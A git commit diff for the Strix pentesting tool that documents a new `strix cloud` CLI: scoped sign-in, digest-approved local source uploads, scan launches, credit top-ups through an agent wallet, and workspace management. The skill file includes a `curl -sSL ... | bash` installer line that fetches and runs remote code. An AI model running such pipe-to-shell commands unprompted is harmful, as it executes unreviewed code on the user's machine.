Remove preview protection bypass plumbing from cloud CLI

# Conflicts:
#	strix/interface/main.py
#	strix/report/dedupe.py

AGENTS.md

@@ -38,13 +38,25 @@ Target-specific workflows built on the same engine:
 
 - **Managed cloud (app.strix.ai):** no Docker, no LLM key, no local install; adds team dashboards, scheduling, PR reviews, and downloadable PDF/DOCX reports (Enterprise plan). Best in sandboxed/CI environments and for teams. Use it when local infra isn't available.
   ```bash
-  # token from Settings → API Access; register the target as an asset, then:
-  curl -sS https://app.strix.ai/api/v1/scans -H "Authorization: Bearer $STRIX_API_TOKEN" \
-    -H "Content-Type: application/json" -d '{"engagement_type":"live_test","domain_ids":["<uuid>"]}'
+  strix cloud login --scopes scans:read scans:write uploads:write billing:read
+  strix cloud domains add --domain example.com --asset-type web_app
+  strix cloud scans start --engagement-type live_test --domain-ids <uuid> --wait
+  strix cloud scans start --source . --dry-run --show-files --json  # review + capture source.archive_sha256
+  SOURCE_SHA256="<reviewed source.archive_sha256>"
+  strix cloud scans start --source . --approve-sha256 "$SOURCE_SHA256" --wait
+  strix cloud vulns list --severity critical
+  strix cloud billing topup --credits 20 --yes  # explicit approval after exit code 5
   ```
-  - API docs: https://docs.app.strix.ai (OpenAPI: https://docs.app.strix.ai/openapi.json).
+  - Account setup runs from the CLI too: `strix cloud workspaces list|create|use` (`workspace` is an alias and `use` accepts a displayed number, name, or ID), `strix cloud session scopes|scopes set`, `strix cloud org members invite`, `strix cloud billing subscribe --plan strix_cloud`, `strix cloud billing portal`, `strix cloud integrations install github`, and `strix cloud domains verify <id>`. Workspace switching preserves the server-side profile and can never widen past the login ceiling; ordinary switches do not reprompt. The last four end at a person: the command prints a link or a DNS record for the user to open or add, and it never completes the payment, installation, or DNS change for them.
+  - Every REST operation has a `strix cloud <resource> <verb>` command. Run `strix cloud` to list them. Output is JSON when stdout is not a terminal (or with `--json`), and there are no prompts without a TTY. Binary downloads are the exception: redirect raw bytes intentionally, or combine `--output FILE --json` for structured download metadata. Exit codes: `0` success, `1` error, `2` usage, `4` auth or plan limit, `5` payment required. `--token` or `STRIX_API_TOKEN` is a stateless override and never replaces stored auth; set `--workspace-id`/`STRIX_WORKSPACE_ID` for an override CLI session. `--data` adds extra request fields as JSON, and accepts `@file` or `-` for standard input.
+  - Local source uploads require `uploads:write`. For an agent/CI handoff, review `scans start --source . --dry-run --show-files --json`, capture `source.archive_sha256`, then rerun with the same `--source`, `--exclude`, and `--include-*` selection flags plus `--approve-sha256 HASH`. A changed snapshot is rejected. `--yes` approves only the snapshot built in that invocation, so reserve it for a deliberate human or one-shot approval rather than a digest-bound two-step handoff.
+  - Git ignores, hidden files, `.git`, symlinks, dependency/build output, secret-like filenames, and nested archives are excluded by default; `.strixignore` and `--exclude` narrow the manifest further (a trailing `/` excludes a directory subtree). Limits: 20,000 files, 25 MiB/file, 250 MiB expanded, 50 MiB compressed. Source-only infers `code_review`; source plus a domain infers `live_test`.
+  - The temporary local archive is always removed. A staged upload is deleted after a definitive rejection, but retained when a network error, `5xx`, malformed success response, or interruption leaves the scan launch ambiguous. JSON reports its `upload_id` with `launch_outcome_unknown: true`, or with `cleanup_unknown: true` when automatic deletion cannot be confirmed. Check `scans list` before retrying; if no scan is linked, run `uploads delete UPLOAD_ID`.
+  - Non-Enterprise scans consume the scope estimate (a default-tier source-only review currently starts at 60 credits); Enterprise scans are plan-included. A rejected launch does not consume credits.
+  - Human output is compact and numbered; non-TTY output and `--json` retain full records. Enable tab completion with `source <(strix completions zsh)` (or `bash`), or `strix completions fish | source`.
+  - The REST API works directly too: https://docs.app.strix.ai (OpenAPI: https://docs.app.strix.ai/openapi.json).
 
-- CLI docs index for LLMs: https://docs.strix.ai/llms.txt (full: https://docs.strix.ai/llms-full.txt).
+- CLI docs index for LLMs: https://docs.strix.ai/llms.txt (full: https://docs.strix.ai/llms-full.txt). Managed API docs for LLMs: https://docs.app.strix.ai/llms.txt.
 - Only scan targets the user is authorized to test.
 
 ## Contributing to this repo

README.md

@@ -320,16 +320,106 @@ strix auth status             # show the active sign-in
 strix auth logout             # forget the sign-in
 ```
 
-#### Sign in with an OpenCode subscription
+#### Use the managed platform: `strix cloud`
 
-You can also run Strix on [OpenCode Zen](https://opencode.ai/docs/zen/) credits or an [OpenCode Go](https://opencode.ai/docs/go/) subscription:
+The `strix cloud` commands drive the managed platform ([app.strix.ai](https://app.strix.ai)) from the terminal. Sign in once with the device flow. The sign-in creates your account and workspace on first use and stores a personal API token in `~/.strix/platform-auth.json`:
 
 ```bash
-strix auth login opencode     # paste your API key from opencode.ai/auth
+strix cloud login                         # browser approval, then workspace + scope profile
+strix cloud login --workspace "My Team"   # select a workspace by name or ID
+strix cloud whoami                        # fast local account/workspace status
+strix cloud session                       # verify remote session + consent ceiling
+strix cloud logout                        # revoke remotely, then remove locally
+```
 
-export STRIX_LLM="opencode/claude-sonnet-5"   # opencode/<model> runs on Zen credits
-export STRIX_LLM="opencode-go/kimi-k3"        # opencode-go/<model> runs on the Go subscription
-strix --target ./app-directory
+The default **Recommended** scope preset supports normal scan work, local source uploads,
+workspace switching, and user-approved credit top-ups. It excludes credential creation;
+request `tokens:write` explicitly (or choose Full) when needed. For strict least privilege, pass an explicit list such as
+`--scopes scans:read scans:write uploads:write billing:read`. Named automation
+profiles are also available with `--scope-profile minimal|recommended|full`.
+
+Every operation of the [REST API](https://docs.app.strix.ai) has a matching command in the form `strix cloud <resource> <verb>`:
+
+```bash
+strix cloud                                   # list all resources
+strix cloud scans                             # run the safe default (`scans list`)
+strix cloud scans help                        # list the verbs of a resource
+strix cloud domains add --domain example.com --asset-type web_app
+strix cloud scans start --engagement-type live_test --domain-ids <uuid> --wait
+strix cloud scans start --source . --dry-run --show-files --json  # review + capture source.archive_sha256
+SOURCE_SHA256="<reviewed source.archive_sha256>"
+strix cloud scans start --source . --approve-sha256 "$SOURCE_SHA256" --wait
+strix cloud vulns list --severity critical
+strix cloud credits                           # credit balance
+strix cloud billing topup --credits 20 --yes  # explicitly approve agent payment after HTTP 402
+```
+
+Workspaces and account setup also work from the terminal:
+
+```bash
+strix cloud workspaces list                   # numbered list; `workspace` is also accepted
+strix cloud workspaces create --name "My Team" # admin + organizations:write
+strix cloud workspaces use 2                  # switch by list number, exact name, or ID
+strix cloud session scopes                    # granted scopes + login ceiling
+strix cloud session scopes set minimal        # narrow without another browser sign-in
+strix cloud billing subscribe --plan strix_cloud # opens the hosted checkout page
+strix cloud billing portal                    # opens the billing portal
+strix cloud integrations install github       # opens the app installation page
+strix cloud domains verify <domain-id>        # prints the DNS record to add
+```
+
+The last four commands end at a person. Strix creates the link, opens the browser for an interactive terminal, and always prints the URL. The user enters the card, approves the installation, or adds the DNS record. Pass `--no-browser` to print the URL only.
+
+The commands work for humans and agents: terminal output favors names, branches, lifecycle states, and numbered selectors, while redirected output (or `--json`) preserves complete machine-readable records and IDs. Human lists retain the selectors needed by follow-up commands but omit internal organization/user IDs; a selector too long for the compact table is repeated losslessly in a copyable block. Paginated lists print the next `--page` or `--offset`, and detail views preserve useful prose within a safe terminal bound; use `--json` for the complete record. Token lists distinguish API keys from named CLI device sessions. Binary downloads are the exception: intentionally redirect their raw bytes, or use `--output FILE --json` to write the file and receive structured download metadata. There are no prompts when stdin is not a terminal. Exit codes: `0` success, `1` error, `2` invalid usage, `4` authentication or plan limit, `5` payment required. `--token` and `STRIX_API_TOKEN` are stateless per-command overrides and never replace the stored sign-in; pair a CLI-session override with `--workspace-id` or `STRIX_WORKSPACE_ID`.
+
+A browser sign-in creates one reusable credential per CLI installation. Logging in again on the
+same installation replaces its secret instead of accumulating keys. Workspace switches keep that
+credential and expiry, preserve the server-side scope preference, cap access by the target role,
+and can never exceed the login consent ceiling. Each process pins its starting workspace, so a
+concurrent switch fails safely instead of sending a stale command to another organization.
+`strix cloud logout` revokes the server session before deleting the local token; use
+`--local-only` only when you deliberately cannot reach the server.
+
+Write commands take request fields as flags, and every write command also accepts one JSON object with `--data`:
+
+```bash
+strix cloud scans start --data '{"engagement_type":"code_review"}'   # literal JSON
+strix cloud scans start --data @request.json                         # read a file
+cat request.json | strix cloud scans start --data -                  # read standard input
+```
+
+For an agent or CI local-source scan, run `--dry-run --show-files --json`, review the manifest,
+and capture `source.archive_sha256`. Rerun with the same `--source`, every `--exclude`, and any
+`--include-*` selection flags, replacing `--dry-run` with `--approve-sha256 HASH`; Strix
+rebuilds the archive and refuses to upload it if the digest changed. `--yes` instead approves
+only the snapshot built in that one invocation. It is suitable for a deliberate human or
+one-shot approval, not as a digest-bound two-step agent/CI handoff.
+
+The safe default honors `.gitignore` and `.strixignore` and excludes hidden paths, secret-like
+files, VCS metadata, dependencies/build output, symlinks, and nested archives. Opt in
+separately with `--include-hidden`, `--include-sensitive`, or `--include-archives`. The client
+caps a bundle at 20,000 files, 25 MiB per file, 250 MiB expanded, and 50 MiB compressed, and
+the service independently validates the archive. Source alone infers a code review; adding a
+domain infers a live test. You can always pass `--engagement-type` explicitly.
+
+Strix removes the temporary local archive after every invocation. It deletes a staged remote
+upload after a definitive scan rejection. If a network error, `5xx` response, malformed
+success response, or interruption makes the launch outcome ambiguous, it retains the upload and reports its `upload_id` with
+`launch_outcome_unknown: true`; if automatic deletion cannot be confirmed, it reports the ID
+with `cleanup_unknown: true`. Check `strix cloud scans list` before retrying. If no scan is
+linked to the retained upload, delete it with `strix cloud uploads delete UPLOAD_ID`.
+
+Non-Enterprise scans consume the deterministic estimate shown for their scope (a source-only
+code review at the default `ultra` tier currently starts at 60 credits). Enterprise scans are
+plan-included and do not consume the credit wallet. Report downloads need Enterprise,
+schedules need Pro, and billing writes need an admin token. Plan blocks exit `4`; an
+insufficient credit wallet exits `5` without creating or charging a scan.
+
+Enable native tab completion once per shell session:
+
+```bash
+source <(strix completions zsh)       # use bash instead of zsh when appropriate
+strix completions fish | source
 ```
 
 #### Connect your own MCP servers

docs/cloud/overview.mdx

@@ -35,6 +35,25 @@ Skip the setup. Run Strix in the cloud at [app.strix.ai](https://app.strix.ai).
 2. Connect your repository or enter a target URL
 3. Launch your first scan
 
+## Scan Local Source
+
+Send a local working tree to the managed white-box scanner without connecting a source-control provider:
+
+```bash
+# Review the exact file manifest and capture source.archive_sha256. Nothing is uploaded.
+strix cloud scans start --source . --dry-run --show-files --json
+SOURCE_SHA256="<reviewed source.archive_sha256>"
+
+# Repeat the same source-selection flags and approve that exact snapshot.
+strix cloud scans start --source . --approve-sha256 "$SOURCE_SHA256" --wait
+```
+
+In a Git repository, Strix includes tracked files and untracked files that are not ignored. Hidden files, `.git`, symlinks, dependencies and build output, secret-like filenames, and nested archives are excluded by default. Use `.strixignore` or repeat `--exclude GLOB` for project-specific exclusions. `--include-hidden`, `--include-sensitive`, and `--include-archives` are explicit opt-ins.
+
+The CLI limits individual files, total expanded bytes, archive bytes, and file count. For an agent or CI handoff, repeat the same `--source`, `--exclude`, and `--include-*` flags with `--approve-sha256`; Strix refuses the upload if the rebuilt archive differs from the reviewed digest. `--yes` is a one-invocation approval for the snapshot built at that moment, not a digest-bound two-step approval.
+
+The temporary local archive is always removed. After a definitive launch rejection, Strix also deletes the staged remote upload. If a network error, server error, or interruption makes the launch outcome ambiguous, it retains the upload and reports its ID; check `strix cloud scans list` before retrying, then delete an unlinked upload with `strix cloud uploads delete UPLOAD_ID`.
+
 <Card title="Try Strix Cloud" icon="rocket" href="https://app.strix.ai">
   Run your first pentest in minutes.
 </Card>

docs/integrations/coding-agents.mdx

@@ -36,13 +36,14 @@ npx skills use usestrix/strix@penetration-testing-with-strix | claude
 Both use the same engine and produce the same validated findings and SARIF, so agents can pick per situation or combine them:
 
 - **Open-source CLI (self-hosted)** — runs locally in a Docker sandbox with your own LLM key. Free, fully local, air-gap capable. Best for local dev loops and full control.
-- **Managed cloud** — runs on Strix's infrastructure via the [app.strix.ai REST API](https://docs.app.strix.ai). No Docker, no LLM key, no local install; adds team dashboards, scheduling, PR reviews, and downloadable PDF/DOCX reports (Enterprise plan). Best in sandboxed/CI environments and for teams. Create an API token under **Settings → API Access**; the `managed-pentesting-with-strix` skill has the full flow.
+- **Managed cloud** — runs on Strix's infrastructure. Drive it with the `strix cloud` CLI (every REST operation has a `strix cloud <resource> <verb>` command) or the [app.strix.ai REST API](https://docs.app.strix.ai) directly. No Docker, no LLM key; adds team dashboards, scheduling, PR reviews, and downloadable PDF/DOCX reports (Enterprise plan). Best in sandboxed/CI environments and for teams. Sign in with `strix cloud login` (browser device sign-in, account created on first use) or create a token in the dashboard under **Settings → API Access**. The `managed-pentesting-with-strix` skill has the full flow.
 
 ## Agent-Friendly Interfaces
 
 Everything an agent needs is machine-readable:
 
 - **Headless CLI** — `strix -n` runs without the TUI and exits with `0` (clean), `1` (error), or `2` (vulnerabilities found).
+- **Cloud CLI** — `strix cloud` prints JSON when stdout is not a terminal (or with `--json`), never prompts without a TTY, and exits with `0` (success), `1` (error), `2` (usage), `4` (authentication required), or `5` (payment required). Credit top-ups pay the Stripe machine-payment challenge with an agent wallet (`strix cloud billing topup --credits N --yes`). Account setup also runs from the CLI: `strix cloud workspaces list|create|use`, `strix cloud org members invite`, `strix cloud billing subscribe`, `strix cloud billing portal`, and `strix cloud integrations install github`. The last three print a hosted link the user opens to finish the payment or approve the installation.
 - **REST API** — the managed platform exposes a documented [OpenAPI](https://docs.app.strix.ai/openapi.json) at `https://app.strix.ai/api/v1` (scans, vulnerabilities, assets, PR reviews, schedules, webhooks) with bearer tokens and scopes.
 - **Structured results** — every run writes `vulnerabilities.json`, `vulnerabilities.csv`, `findings.sarif` (SARIF 2.1.0), and per-finding Markdown under `strix_runs/<run-name>/`; the cloud exposes the same as JSON plus SARIF export.
 - **Budget controls** — `--max-budget` and `--max-turns` give agents hard cost/time caps.

pyproject.toml

@@ -229,6 +229,7 @@ ignore = [
 # Test doubles use fixture tokens/passwords and match a callee signature whose
 # args they intentionally ignore.
 "tests/test_viewer_auth.py" = ["S105", "S106", "ARG001"]
+"tests/test_cloud_cli.py" = ["S105", "ARG001"]
 "tests/test_codex_auth.py" = ["S105", "S106", "SLF001"]
 # Hatchling loads the build hook by path, not as an importable package.
 "scripts/tui_sidecar_hook.py" = ["INP001"]
@@ -308,7 +309,6 @@ ignore = [
 # Heavy inference deps (httpx, openai) imported lazily so auth-status checks
 # don't pull them in.
 "strix/config/codex.py" = ["PLC0415"]
-"strix/config/opencode.py" = ["PLC0415"]
 # Interface utility branches per scope-mode / target-type combination;
 # splitting would obscure the decision tree without simplifying it.
 "strix/interface/utils.py" = ["PLR0912", "BLE001", "PLC0415"]

skills/managed-pentesting-with-strix/SKILL.md

@@ -1,23 +1,59 @@
 ---
 name: managed-pentesting-with-strix
-description: Run a managed pentest of a web app or API through the app.strix.ai REST API — no local Docker, LLM key, or install needed. Create an API token, register domain/repository assets, launch and poll scans, triage vulnerabilities, export SARIF, download PDF/DOCX pentest reports for SOC 2 and other compliance evidence (Enterprise plan), start PR reviews, and set up schedules and webhooks. Use when the user wants continuous or scheduled pentesting-as-a-service, an auditor-ready pentest report, scans tracked in a team dashboard, or security testing from a sandboxed agent/CI environment with no infrastructure.
+description: Run a managed pentest of a web app, API, repository, or local workspace on the app.strix.ai platform with the `strix cloud` CLI or REST API — no local Docker or LLM key needed. Safely review and upload local source, register assets, launch and poll scans, triage vulnerabilities, export SARIF, download compliance reports, start PR reviews, buy credits, and set up schedules or webhooks. Use for managed, continuous, scheduled, team-tracked, or sandboxed-agent security testing.
 license: Apache-2.0
 metadata:
   author: usestrix
   homepage: https://docs.app.strix.ai
 ---
 
-# Strix Cloud API (managed, no local infra)
+# Strix Cloud (managed, no local infra)
 
 Use this when you want Strix's autonomous pentesting **without running Docker or an LLM yourself** — the scan runs on Strix's infrastructure and results are tracked in a team dashboard. This is the right choice in sandboxed/hosted agent and CI environments, for teams, and for scheduled/continuous testing (downloadable PDF/DOCX reports are an Enterprise-plan feature). For fully local, free, air-gapped, or BYO-LLM runs, use the open-source CLI in the **penetration-testing-with-strix** skill instead — both share the same engine and SARIF output, so you can mix them.
 
-Full reference: **[docs.app.strix.ai](https://docs.app.strix.ai)** · OpenAPI: `https://docs.app.strix.ai/openapi.json`
+There are two equivalent interfaces. Prefer the CLI:
 
-## Setup
+- **`strix cloud` CLI** — every REST operation has a command in the form `strix cloud <resource> <verb>`. Install with `curl -sSL https://strix.ai/install | bash`. Run `strix cloud` to list all resources and `strix cloud <resource> help` (or `-h`) to list a resource's verbs; a bare resource with a safe read operation runs its documented default.
+- **REST API** — base URL `https://app.strix.ai/api/v1`, `Authorization: Bearer <token>` on every request. Full reference: **[docs.app.strix.ai](https://docs.app.strix.ai)** · agent index: `https://docs.app.strix.ai/llms.txt` · OpenAPI: `https://docs.app.strix.ai/openapi.json`.
 
-- **Base URL:** `https://app.strix.ai/api/v1`
-- **Auth:** every request sends `Authorization: Bearer <token>`. Tokens are **org-scoped**.
-- **Get a token:** the user creates one in the dashboard at **Settings → API Access** (app.strix.ai). Ask them for it; never hardcode, log, or commit it. Store it in an env var or the CI secret store.
+The CLI is equally usable by agents and people. Output is complete JSON when stdout is not a terminal, or when you pass `--json`; terminal tables favor names, branches, lifecycle states, and numbered selectors. Human lists retain the selectors needed by follow-up commands but omit internal organization/user IDs; a selector too long for the compact table is repeated losslessly in a copyable block. Paginated lists print the next `--page` or `--offset`, and detail views preserve useful prose within a safe terminal bound; use `--json` for the complete record. Token lists label credentials as active, expired, or revoked. Binary downloads are the exception: redirect raw bytes intentionally, or use `--output FILE --json` to write the file and receive structured metadata. There are no interactive prompts when stdin is not a terminal. Exit codes: `0` success, `1` request/runtime error, `2` invalid usage, `4` authentication or plan limit, `5` payment required.
+
+Every resource group with a safe read operation has a useful default action, and `-h` or `help` always shows its verbs. Native tab completion includes resources, verbs, flags, workspace commands, and local paths:
+
+```bash
+source <(strix completions zsh)       # current zsh session
+source <(strix completions bash)      # current bash session
+strix completions fish | source       # current fish session
+```
+
+Write commands take request fields as flags. Every write command also accepts one JSON object with `--data`, which is the way to send fields that have no flag:
+
+```bash
+strix cloud scans start --data '{"engagement_type":"code_review"}'   # literal JSON
+strix cloud scans start --data @request.json                         # read a file
+cat request.json | strix cloud scans start --data -                  # read standard input
+```
+
+The platform enforces plan and role limits, and the CLI passes the platform message through. Report downloads need the Enterprise plan. Schedules need the Pro plan. Billing writes need an admin token. A blocked command exits with code `4`.
+
+## Setup: sign in
+
+Run the device sign-in. It creates the user's account and workspace on first use and stores a personal API token in `~/.strix/platform-auth.json`:
+
+```bash
+strix cloud login
+# Non-interactive least-privilege example:
+strix cloud login --scopes scans:read scans:write uploads:write billing:read vulnerabilities:read assets:read assets:write
+# Or use a stable named profile:
+strix cloud login --scope-profile recommended
+```
+
+The user approves the sign-in in the browser. With `--scopes` (and optionally `--workspace <name-or-id>`) there are no terminal prompts, so the command works from a non-interactive agent shell. In an interactive terminal without flags, the CLI offers a workspace picker and scope presets (Recommended, Full access, Minimal, Custom). Recommended covers ordinary scans, source uploads, workspace switching, and user-approved credit top-ups; it excludes `tokens:write`, which must be requested explicitly when credential management is required. Use explicit scopes for a narrower automation token.
+
+- `strix cloud whoami` is the fast local status. `strix cloud session --json` verifies the remote device session; `strix cloud session scopes` shows both effective access and the immutable login ceiling.
+- `strix cloud logout` revokes the remote session before removing the local token. On a network or server failure it keeps the token so the user can retry; `--local-only` deliberately skips revocation.
+- Every other `strix cloud` command uses the stored token automatically. `--token <token>` or `STRIX_API_TOKEN` is a stateless per-command override and never overwrites the stored account. For an override that is itself a CLI session, also pass `--workspace-id` or set `STRIX_WORKSPACE_ID`.
+- Never hardcode, log, or commit the token. Store it in an env var or the CI secret store.
 - **Scopes (least-privilege):** assign only what the integration needs and rotate regularly:
 
   | Scope | Grants |
@@ -28,15 +64,105 @@ Full reference: **[docs.app.strix.ai](https://docs.app.strix.ai)** · OpenAPI: `
   | `schedules:read` / `:write` | read schedules · create/trigger recurring scans |
   | `pr_reviews:write` | trigger PR security reviews |
   | `webhooks:read` / `:write` | manage webhook subscriptions |
-  | `tokens:write` | create/revoke API tokens |
+  | `uploads:write` | upload local source or documents for a scan |
+  | `organizations:read` | read organization details (listing/switching the signed-in user's workspaces needs no API scope) |
+  | `organizations:write` | create/update workspaces (admin) |
+  | `tokens:write` | create/revoke ordinary API tokens (not needed to manage the current CLI session) |
+  | `knowledge:read` / `:write` | read/update organization knowledge |
+  | `audit:read` | read/export the Enterprise audit log |
+  | `billing:read` / `billing:write` | read credit balance & auto top-up settings · buy credits (admin) |
+
+HTTP errors map to messages and exit codes: `401` bad/expired token (exit `4`), `402` out of credits (exit `5`), `403` scope/plan-tier limit (exit `4`), `422` validation error (exit `1`).
+
+Create a time-limited automation token with `strix cloud tokens create`. Use
+`--rbac-scopes` to restrict it to target IDs, tags, or business units; the value is a
+JSON array of `{ "type": "target|tag|business_unit", "value": "..." }` objects:
 
 ```bash
-export STRIX_API_TOKEN="<token>"
-BASE=https://app.strix.ai/api/v1
-auth=(-H "Authorization: Bearer $STRIX_API_TOKEN")
+strix cloud tokens create --type service --name staging-ci \
+  --expires-at 2026-12-31T23:59:59Z \
+  --scopes scans:read scans:write \
+  --rbac-scopes '[{"type":"tag","value":"staging"}]'
 ```
 
-All examples use `jq` to parse JSON. Handle HTTP errors: `401` bad/expired token, `402` out of credits, `403` scope/plan-tier limit, `422` validation error.
+The token secret is returned once. Store it directly in a secret manager and do not
+print or commit it. `--expires-at` and `--expires-in-days` are mutually exclusive.
+
+## 0. Credits & top-ups
+
+Non-Enterprise scans consume org credits. Enterprise engagements are plan-included and do not debit the wallet. Check the balance before a scan (`billing:read`):
+
+```bash
+strix cloud credits
+```
+
+When the balance is too low, buy credits with `strix cloud billing topup` (`billing:write`, admin token). The server answers the first request with **HTTP 402 and a machine-payment challenge** (Stripe Machine Payments Protocol). The CLI pays the challenge with the `mppx` client when Node.js is available — the user approves the spend in their agent wallet, for example the [Link Agent Wallet](https://link.com/agents). The response returns the receipt (`credits_granted`, `duplicate`, `reference`) and the new balance.
+
+A default-tier source-only code review currently starts at 60 credits. Source uploads are not free: they launch an ordinary `code_review` and use the same deterministic scope estimator. The service checks the full balance before launch, reserves credits atomically only after validation succeeds, and does not create or charge a rejected scan. Retests and Enterprise scans are exempt.
+
+```bash
+strix cloud billing topup --credits 20 --yes   # explicit approval; skips the TTY prompt
+strix cloud billing topup --credits 20 --no-pay   # print the 402 challenge without paying
+```
+
+The default payment path is the Stripe agent wallet. Tell the user to set it up one time at [link.com/agents](https://link.com/agents). After setup, the user approves each payment in the Link app, and no keys or variables are necessary.
+
+In a non-interactive agent or CI process, payment never proceeds unless the command includes `--yes`. Show the challenge or estimated spend to the user and obtain approval before adding it. `--no-pay` always stops after printing the challenge.
+
+If the user does not want a wallet, create a hosted checkout link with `strix cloud billing subscribe --plan strix_top_up` and give the link to the user. The user pays in the browser.
+
+Automatic top-ups (admin): `strix cloud billing auto-topup` shows the setting. Enable it with:
+
+```bash
+strix cloud billing auto-topup update --enabled --topup-credits 20 --monthly-cap-credits 200
+```
+
+An omitted `--monthly-cap-credits` keeps the stored cap. Pass `--no-monthly-cap` to remove the cap.
+
+### Workspaces and account setup
+
+Manage workspaces with a personal token from `strix cloud login`:
+
+```bash
+strix cloud workspaces list                    # numbered name/role/current list
+strix cloud workspaces create --name "My Team"  # admin + organizations:write
+strix cloud workspaces use 2                   # displayed number, exact name, or ID
+strix cloud workspace use "My Team"            # singular `workspace` alias also works
+strix cloud session scopes                     # effective scopes + consent ceiling
+strix cloud session scopes set minimal         # narrow the session
+strix cloud org members invite --email dev@example.com --role analyst
+```
+
+`workspaces use` retargets the current personal token to a workspace the user already belongs to and stores the updated workspace metadata; the bearer secret and expiry stay unchanged. It does not reprompt during ordinary switches: the server preserves the chosen profile, enforces the immutable login ceiling, and caps effective scopes by the target role. Use `--scope-profile` or `--scopes` to narrow within that ceiling; broader consent requires `strix cloud login` again. The CLI pins each process to the workspace it started in, so concurrent shells fail with a recoverable conflict instead of silently crossing organizations.
+
+### Handoffs a person must finish
+
+Four steps end at the user. The command creates the link or the record and prints it. Strix opens the browser only in an interactive terminal. Pass `--no-browser` to print the URL only.
+
+```bash
+strix cloud billing subscribe --plan strix_cloud # hosted checkout page for the Cloud plan
+strix cloud billing portal                       # billing portal for the card and the plan
+strix cloud integrations install github          # GitHub App or Slack installation page
+strix cloud domains verify <domain-id>           # DNS record to add, then run it again
+```
+
+Give the printed URL or DNS record to the user and wait. Do not claim that the payment, the installation, or the DNS change is complete. Confirm the result afterwards with `strix cloud credits`, `strix cloud integrations list`, or `strix cloud domains list`. All four commands need an admin token, except `domains verify`, which needs `assets:write`.
+
+### Organization knowledge
+
+Agents can manage the organization knowledge base without the dashboard (`knowledge:read` / `knowledge:write`):
+
+```bash
+strix cloud knowledge list --search authentication
+strix cloud knowledge add --title "Authentication" --content "Staging uses SSO."
+strix cloud knowledge update <document-id> --content "Staging uses SSO and TOTP."
+strix cloud knowledge delete <document-id>
+strix cloud knowledge policies add --key staging-only --content "Never test production."
+strix cloud knowledge policies delete staging-only
+strix cloud knowledge repos entries usestrix/strix
+```
+
+Knowledge policy writes require an admin token. Repository names are passed as normal `owner/name` values; the CLI handles URL encoding. The `costs` and `llm-settings` commands target on-prem installations and return `404` on app.strix.ai.
 
 ## 1. Register the target as an asset
 
@@ -44,109 +170,152 @@ Scans run against **registered assets**, not raw URLs. Register once, then reuse
 
 ```bash
 # Domain (black-box / live target). Requires domain verification before external scanning.
-# asset_type must be one of: web_app | api | attack_surface.
-curl -sS "$BASE/domains" "${auth[@]}" -H "Content-Type: application/json" \
-  -d '{"domain":"staging.example.com","asset_type":"web_app"}' | jq '{id:.domain.id, status, reachable, verification}'
+# --asset-type must be one of: web_app | api | attack_surface.
+strix cloud domains add --domain staging.example.com --asset-type web_app
 
 # Repository (white-box / code review). `full_name` is "owner/name".
-# Send one repository object, or a bare JSON array for several — not an object
-# wrapping a "repositories" key (that is rejected with 400).
-curl -sS "$BASE/repositories" "${auth[@]}" -H "Content-Type: application/json" \
-  -d '[{"full_name":"org/app","provider":"github"}]' | jq '.repositories[] | {id, full_name}'
+strix cloud repos add --data '{"full_name":"org/app","provider":"github"}'
 ```
 
-Look up existing assets instead of re-adding: `GET /domains`, `GET /repositories` (both `assets:read`, paginated with `?page=&limit=`).
+Look up existing assets instead of re-adding: `strix cloud domains list`, `strix cloud repos list` (both `assets:read`).
 
 ## 2. Launch a scan
 
-`POST /scans` (`scans:write`). Provide at least one target via `domain_ids`, `repository_ids`, or `internal_targets` (internal infra needs a network connector — see docs).
+`strix cloud scans start` (`scans:write`). Provide at least one target with `--domain-ids`, `--repository-ids`, or `--internal-targets` (internal infra needs a network connector — see docs).
 
 ```bash
-scan_id=$(curl -sS "$BASE/scans" "${auth[@]}" -H "Content-Type: application/json" -d '{
-  "engagement_type": "live_test",
-  "domain_ids": ["<domain-uuid>"],
-  "focus": "IDOR, auth bypass, SSRF",
-  "context": "Staging. Test account creds are configured as a test user.",
-  "notify_on_completion": true
-}' | jq -r .scan_id)
-echo "$scan_id"
+strix cloud scans start \
+  --engagement-type live_test \
+  --domain-ids <domain-uuid> \
+  --focus "IDOR, auth bypass, SSRF" \
+  --context "Staging. Test account creds are configured as a test user." \
+  --notify-on-completion
 ```
 
-Useful `CreateScanRequest` fields:
+Useful flags (each maps to a `CreateScanRequest` field):
 
-| Field | Purpose |
+| Flag | Purpose |
 |---|---|
-| `engagement_type` | `live_test` (default), `code_review`, `internal_infra`, `compliance_pentest` |
-| `domain_ids` / `repository_ids` / `internal_targets` | targets (at least one) |
-| `domain_paths` / `repository_branches` | narrow to specific paths / branches |
-| `credentials` | authenticated scanning, incl. `mfa_method` (`totp`/`email_otp`/…) + `totp_secret` |
-| `headers` | extra HTTP headers (API keys, for example) for the target |
-| `focus` / `concerns` / `context` | steer the agents |
-| `upload_ids` | attach uploaded source/docs archives for white-box context |
-| `notify_on_completion` / `notification_emails` | email when done |
+| `--engagement-type` | `live_test` (default), `code_review`, `internal_infra`, `compliance_pentest` |
+| `--domain-ids` / `--repository-ids` / `--internal-targets` | targets (at least one) |
+| `--domain-paths` / `--repository-branches` | narrow to specific paths / branches (JSON maps) |
+| `--credentials` | authenticated scanning, incl. `mfa_method` (`totp`/`email_otp`/…) + `totp_secret` (JSON list) |
+| `--headers` | extra target HTTP headers as a JSON array of header objects |
+| `--focus` / `--concerns` / `--context` | free-form strings that steer the agents |
+| `--upload-ids` | attach uploaded source/docs archives for white-box context |
+| `--notify-on-completion` / `--notification-emails` | email when done |
 
-Response is `{ scan_id, title, status }` with `status` = `pending`.
+Without `--source`, the response is `{ scan_id, title, status }` with `status` = `pending`.
+Local-source success wraps that platform response as
+`{ source, upload_id, scan: { scan_id, title, status } }`, so automation can retain the exact
+approved manifest and staged-upload identifier alongside the created scan.
 
-## 3. Poll to completion
+### Scan a local workspace in the cloud
 
-`GET /scans/{scanId}` (`scans:read`). Status flow: `pending → running → completed` (or `failed` / `cancelled`). Poll on an interval — scans take minutes to hours. Do not block.
+For an agent or CI workflow, bind approval to the exact source snapshot that was reviewed. Run
+the dry run with the intended source-selection flags, review the manifest and selected paths,
+and capture `source.archive_sha256`. Then repeat the same `--source`, every `--exclude`, and
+any `--include-hidden`, `--include-sensitive`, or `--include-archives` flags with
+`--approve-sha256`:
 
 ```bash
-while :; do
-  s=$(curl -sS "$BASE/scans/$scan_id" "${auth[@]}" | jq -r .status)
-  echo "status=$s"; [[ "$s" =~ ^(completed|failed|cancelled)$ ]] && break
-  sleep 60
-done
+strix cloud scans start --source . --exclude 'private/' --dry-run --show-files --json
+# After reviewing the output, capture its source.archive_sha256 value:
